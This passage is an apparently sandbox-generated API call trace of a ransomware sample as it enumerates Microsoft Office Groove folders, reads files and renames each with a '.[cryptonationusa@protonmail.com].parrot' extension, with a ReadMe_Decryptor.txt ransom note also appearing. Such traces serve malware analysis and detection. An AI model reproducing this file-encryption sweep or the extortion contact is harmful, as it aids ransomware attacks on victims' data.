Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsFormTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsformtemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.768] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.768] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.770] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.770] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd9c, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xd9c, lpOverlapped=0x0) returned 1 [0191.770] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.771] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePage.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepage.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.774] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.774] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.776] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.776] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e87, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1e87, lpOverlapped=0x0) returned 1 [0191.776] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.777] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageScript.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagescript.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageScript.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagescript.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.780] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.780] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.884] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.884] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x314, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x314, lpOverlapped=0x0) returned 1 [0191.885] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.886] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagestyle.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageStyle.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagestyle.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.892] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.892] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.893] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.894] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7f0, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x7f0, lpOverlapped=0x0) returned 1 [0191.894] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.894] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsimagetemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsImageTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsimagetemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.901] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.901] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.902] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.902] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x858, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x858, lpOverlapped=0x0) returned 1 [0191.903] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.903] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsmacrotemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsMacroTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsmacrotemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.907] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.907] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.909] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.909] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x46a3, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x46a3, lpOverlapped=0x0) returned 1 [0191.911] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.912] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formspreviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPreviewTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formspreviewtemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.916] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.916] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0191.917] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.917] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x612, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x612, lpOverlapped=0x0) returned 1 [0191.918] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsprinttemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPrintTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsprinttemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.946] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0191.948] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0191.948] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.950] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0191.950] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0191.950] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x75f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0191.951] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.951] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0191.952] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.952] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x75f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x75f, lpOverlapped=0x0) returned 1 [0191.952] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.953] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\adobe.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Adobe.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\adobe.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.958] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0191.958] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0191.958] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb8e810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.960] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0191.960] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0191.960] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0191.960] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.960] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0191.961] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.961] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0191.961] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.962] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.969] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.970] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0191.970] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.970] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0191.971] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.971] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.975] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0191.975] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfe746d60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfe746d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.975] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe720c00, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xfe720c00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfe746d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0191.976] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.976] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0191.977] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.977] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdf0, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xdf0, lpOverlapped=0x0) returned 1 [0191.977] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.978] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.981] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0191.982] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0191.982] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.982] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0191.982] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0191.982] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0191.982] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.982] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0191.983] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.983] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xb9, lpOverlapped=0x0) returned 1 [0191.983] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.983] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\BUTTON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\button.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.989] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.989] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0191.990] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.990] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, 